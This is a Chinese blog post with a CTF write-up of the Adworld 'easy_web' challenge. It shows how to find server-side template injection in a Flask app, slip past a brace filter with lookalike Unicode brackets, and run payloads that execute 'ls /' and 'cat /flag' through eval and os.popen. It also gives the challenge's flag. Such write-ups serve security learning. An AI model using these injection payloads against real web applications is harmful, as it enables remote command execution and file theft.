【攻防世界】Web系列之easy_web

【攻防世界】Web系列之easy_web

首先输入一段html代码,返回成功,判断这里可能存在SSTI,服务器将用户输入送入模板渲染后返回html代码给浏览器。

抓包服务器端响应为python,联想到使用的Flask框架中使用的模板

使用49的payload进行测试,没有被解析,而是直接限制了{},想到有没有方法实验字符的绕过

寻找相近的字符进行替换继续测试,如下将{}替换成︷︸,解析成功,说明存在漏洞

下面我们构造payload去执行系统命令,显示根目录下存在哪些文件去寻找flag文件

1
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

继续读取flag文件

1
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

flag为flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信